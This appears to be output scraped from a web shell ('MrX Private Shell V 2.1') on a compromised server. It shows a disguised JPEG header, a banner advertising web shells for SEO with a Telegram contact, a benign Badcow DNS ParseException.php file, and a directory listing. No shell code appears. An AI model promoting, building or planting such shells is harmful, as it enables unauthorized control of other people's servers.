����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
/*
* This file is part of Badcow DNS Library.
*
* (c) Samuel Williams <sam@badcow.co>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Badcow\DNS\Parser;
class ParseException extends \Exception
{
/**
* @var StringIterator
*/
private $stringIterator;
/**
* ParseException constructor.
*/
public function __construct(string $message = '', StringIterator $stringIterator = null, \Throwable $previous = null)
{
if (null !== $stringIterator) {
$this->stringIterator = $stringIterator;
$message .= sprintf(' [Line no: %d]', $this->getLineNumber());
}
parent::__construct($message, 0, $previous);
}
/**
* Get line number of current entry on the StringIterator.
*/
private function getLineNumber(): int
{
$pos = $this->stringIterator->key();
$this->stringIterator->rewind();
$lineNo = 1;
while ($this->stringIterator->key() < $pos) {
if ($this->stringIterator->is(Tokens::LINE_FEED)) {
++$lineNo;
}
$this->stringIterator->next();
}
return $lineNo;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Comments.php | File | 982 B | 0644 |
|
| Normaliser.php | File | 6.26 KB | 0644 |
|
| ParseException.php | File | 1.27 KB | 0644 |
|
| Parser.php | File | 15.29 KB | 0644 |
|
| ResourceRecordIterator.php | File | 1.36 KB | 0644 |
|
| StringIterator.php | File | 1.75 KB | 0644 |
|
| TimeFormat.php | File | 2.5 KB | 0644 |
|
| Tokens.php | File | 621 B | 0644 |
|
| ZoneFileFetcherInterface.php | File | 734 B | 0644 |
|